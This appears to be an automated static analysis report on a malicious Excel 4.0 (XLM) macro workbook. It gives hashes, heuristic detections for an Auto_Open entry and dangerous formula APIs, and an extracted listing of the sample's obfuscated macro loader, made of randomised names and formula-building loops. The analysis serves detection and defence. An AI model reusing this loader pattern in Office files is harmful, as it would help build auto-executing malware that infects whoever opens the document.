Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd4a28eef1d2b8ea…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:20 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: ab711edecb7643f2117e7d0868e6b422 SHA-1: 0fa97b8a42aade685bdb16a8b91cf295499607bb SHA-256: dd4a28eef1d2b8ea6d8a1391f476a8852e48543da3e994091427792f621716d2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6332 bytes
SHA-256: 53a942ff76d5f13ff7b67918196cf0dcccb4a0b4f0e50467239563f0113b30f3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GJg
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E168 
' 0018     20 LABEL : Cell Value, String Constant - bFUuX len=0 
' 0018     24 LABEL : Cell Value, String Constant - bIIrmqzDZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - BOilLBYjh len=0 
' 0018     20 LABEL : Cell Value, String Constant - BWNdf len=0 
' 0018     20 LABEL : Cell Value, String Constant - dSAgW len=0 
' 0018     20 LABEL : Cell Value, String Constant - DxRuS len=0 
' 0018     27 LABEL : Cell Value, String Constant - eNWnfByjEdYV len=0 
' 0018     20 LABEL : Cell Value, String Constant - fGIhW len=0 
' 0018     25 LABEL : Cell Value, String Constant - HoNwWBRGSB len=0 
' 0018     22 LABEL : Cell Value, String Constant - JWtFYRy len=0 
' 0018     25 LABEL : Cell Value, String Constant - lxLEwoXApd len=0 
' 0018     24 LABEL : Cell Value, String Constant - NRENyMoBa len=0 
' 0018     22 LABEL : Cell Value, String Constant - PCoZypl len=0 
' 0018     25 LABEL : Cell Value, String Constant - pVWjxgxZyS len=0 
' 0018     22 LABEL : Cell Value, String Constant - rxEwikq len=0 
' 0018     22 LABEL : Cell Value, String Constant - SvkXpaJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - uTIjGpfvYPr len=0 
' 0018     25 LABEL : Cell Value, String Constant - WdJDUQGAQn len=0 
' 0018     20 LABEL : Cell Value, String Constant - WgCWr len=0 
' 0018     22 LABEL : Cell Value, String Constant - wHkSGmN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GJg,E83,"SET.NAME("PCoZypl",VALUE("0"))",""
'  GJg,E86,"SET.NAME("JWtFYRy",PCoZypl)",""
'  GJg,E89,"SET.NAME("fGIhW",PCoZypl)",""
'  GJg,E91,"SET.NAME("WgCWr",COUNTA(uTIjGpfvYPr))",""
'  GJg,E94,"SET.NAME("SvkXpaJ",COUNTA(eNWnfByjEdYV))",""
'  GJg,E97,[],""
'  GJg,E100,"SET.NAME("dSAgW","")",""
'  GJg,E102,"JWtFYRy",""
'  GJg,E105,"SET.NAME("WdJDUQGAQn",HLOOKUP("*",uTIjGpfvYPr,JWtFYRy,FALSE))",""
'  GJg,E109,"DxRuS",""
'  GJg,E112,"SET.NAME("wHkSGmN",PCoZypl)",""
'  GJg,E114,[],""
'  GJg,E118,"wHkSGmN",""
'  GJg,E121,"pVWjxgxZyS",""
'  GJg,E126,"NRENyMoBa",""
'  GJg,E128,"bFUuX",""
'  GJg,E133,"SET.NAME("HoNwWBRGSB",VALUE(HLOOKUP("*",eNWnfByjEdYV,bFUuX,FALSE)))",""
'  GJg,E136,"rxEwikq",""
'  GJg,E141,"dSAgW",""
'  GJg,E143,"fGIhW",""
'  GJg,E145,NEXT(),""
'  GJg,E148,"BOilLBYjh",""
'  GJg,E151,"SET.NAME("f",INT(T(FORMULA(T(dSAgW)&"",""&T(BOilLBYjh)))))",""
'  GJg,E154,"bIIrmqzDZ",""
'  GJg,E159,NEXT(),""
'  GJg,E164,RETURN(),""
'  GJg,E190,"SET.NAME("BWNdf",E83)",""
'  GJg,E192,"uTIjGpfvYPr",""
'  GJg,E196,"SET.NAME("eNWnfByjEdYV",R63C14)",""
'  GJg,E199,"SET.NAME("bIIrmqzDZ",208)",""
'  GJg,E204,"SET.NAME("lxLEwoXApd",5)",""
'  GJg,E207,BWNdf(),""
'  GJg,E208,HALT(),""